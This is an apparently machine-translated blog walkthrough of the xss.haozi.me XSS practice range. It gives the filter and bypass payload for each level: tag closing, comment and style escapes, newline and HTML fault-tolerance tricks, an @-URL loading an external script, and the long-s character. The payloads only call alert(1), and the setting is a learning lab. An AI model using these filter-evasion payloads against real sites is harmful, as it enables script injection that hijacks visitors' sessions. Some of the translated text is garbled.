当前位置:网站首页>XSS range (II) xss.haozi
XSS range (II) xss.haozi
2022-07-29 02:33:00 【The tree lost its way】
Target address :https://xss.haozi.me
0x00
Unprotected
<script>alert(1)</script>
0x01
stay <textarea> Label inside this label , All scripting languages are strings , Cannot be called to execute , Just close the label ;
</textarea><script>alert(1)</script>
0x02
closed " and < that will do
"><script>alert(1)</script>
aaa" onclick="alert(1) 
0x03
Regular expressions , take () Replace empty , use `` Instead, that is
<script>alert`1`</script>
0x04
Regular expressions , take () `` Replace empty ,HTML Entity encoding ()
<svg><script>alert(1)</script>
0x05
Here we replace with regular -->,html The annotators of are 2 Species writing :
<!-- Content of notes --> The other is <!-- Content of notes --!>
--!><script>alert(1)</script>
0x06
The canonical substitution here is auto and on.*= and > character , So I filtered js Of autofocus Events and on The first event ;
But there is no filter line feed , Sure utilize HTML Fault tolerance mechanism of , As long as the keywords and syntax are correct , Features unaffected by spaces and newlines
onclick
=alert(1)
onmousedown
=alert(1)
type=image src=1 onerror
=alert(1)
0x07
Regular <\/?[^>]+> This pile , With "<" start ">" The ending is interspersed with non ">" Case insensitive string of ,
in general , Just replace </ Any character > It's empty . use <svg Labels and THTML Fault tolerant mechanism does not write ">" that will do
<svg onload=alert(1)//
<svg onload=alert(1)\n
<img src=1 onerror="alert(1)"
0x08
Regular filtering </style>, Make it impossible to close ;
and 6 7 The questions are similar to , Or use HTML Fault tolerance for </style Followed by a space or enter
</style ><script>alert(1)</script>
</style
><script>alert(1)</script>
0x09
Use regular rules to specify that the input string must have https://www.segmentfault.com1;
Then write it later ," closed ></script> closed , And then note out ">
https://www.segmentfault.com1"></script><script>alert(1)//
0x0A
Similar to the previous question , Another one ' " < > / It's all filtered
Use in the middle of the website @ Symbol , Redirect to @ The following fields URL;( Google seems to have a protection mechanism , Try it on Firefox )
https://[email protected]/j.js
0x0B
Lose ⼊ All strings of are converted ⼤ Yes ;
html Case insensitive ,JS Case sensitive ;
use <svg οnlοad=alert(1)>, Yes 'alert' Entity encoding ;
<svg onload=alert(1)>
0x0C
It's similar to the last question , Just one more pair script The filter ;
If you use <script>, Double write ;
<svg onload=alert(1)>
<sscriptcript src=1 onerror=alert(1)></sscriptcript>
0x0D
Regular filtering < / " ' , Don't have to ;
Enter escape single line notes , Add the extra ‘)
Return here
alert(1)
-->
0x0E
The regular match here <a-zA-Z>, give back < Add... To the back _, And capitalize , This filters almost all tags ;
So we need to use a strange skill : There is such a character ſ , It will become S;
<ſcript src=1 onerror=alert(1)></script>
<ſvg onload=alert(1)>
0x0F
This is similar to question 10 , take & ' " <> / to HTML Entity code ;
But here's the thing , The character we entered is still in html in , Therefore, even if it is encoded, its function can be performed ;
Before and after closing (' ') Or note out that will do ;
');alert(1);('
0x10
Unprotected , to data Just a value ;
');alert(1);('
0x11
and 15 Same question , hold / ’ " ` < > \ And line breaks are escaped ;
Before and after closing (" ") that will do ;
stay JS Right in the code / The escape of is actually superfluous , In practical use ,/ Not a special symbol , No escape required , It can output directly
");alert(1);("
");alert(1);//
0x12
take " It's escaped ;
Why do I need double quotation marks , Directly close the front <script>, Then put the back ') Inject it out that will do ;
It's fine too take \ To escape , Let it fail , Then close ("
</script><script>alert(1)//
a\");alert(1);//
ok Get it done ! Personal habits are different , The answer is not unique , If there are different solutions , Welcome to share !
边栏推荐
- What should I do if excel opens a CSV file containing Chinese characters and there is garbled code?
- 3D模型格式全解|含RVT、3DS、DWG、FBX、IFC、OSGB、OBJ等70余种
- 3d智能工厂工艺流转可视化交互展示应用优点
- 响应式织梦模板家装建材类网站
- 代码随想录笔记_哈希_349两个数的交集
- TCP重传机制有哪些?
- Awvs cannot start problem
- Eight practical new functions of es2022
- In depth analysis - Pretreatment
- The financing demand of 129 million yuan was released, and the roadshow of the Dake city project continued to irrigate the "good seedlings" of scientific innovation
猜你喜欢

多边形点测试

Day 14: continued day 13 label related knowledge

The outsourcing company "mixed" for two years, and I only did five things seriously. Now I get byte offer smoothly.

进程间通信---对管道的详细讲解(图文案例讲解)

How does the Devops team defend against API attacks?

How to customize a new tab in Duoyu security browser?

Split, an avalanche caused by connection pool parameters

Interprocess communication - detailed explanation of the pipeline (explanation of graphic cases)

3d智能工厂工艺流转可视化交互展示应用优点

无线振弦采集系统工作流程
随机推荐
Code random notes_ Hash_ 349 intersection of two numbers
3d智能工厂工艺流转可视化交互展示应用优点
I was stunned by this question that I browsed 746000 times
2022/07/28 学习笔记 (day18) 常用API
How to quickly design a set of cross end components that support rendering rich text content
KBxxxxxx不一定是补丁,也可能是某个问题解决方案的描述
基于对象的实时空间音频渲染丨Dev for Dev 专栏
Awvs cannot start problem
where、having、group by、order by,is null,not in,子查询,delete,日期函数
3D intelligent factory process flow visualization interactive display application advantages
快速掌握Nodejs安装以及入门
QT qstackedwidget multi interface switching
What if there is not enough time for adequate testing?
How to use RPA to achieve automatic customer acquisition?
响应式织梦模板家装装饰类网站
Code implementation - the greatest common factor of polynomials (linear algebra)
0728~面试题梳理
Polygon point test
Time pit in MySQL driver
Derivation of Euler angle differential equation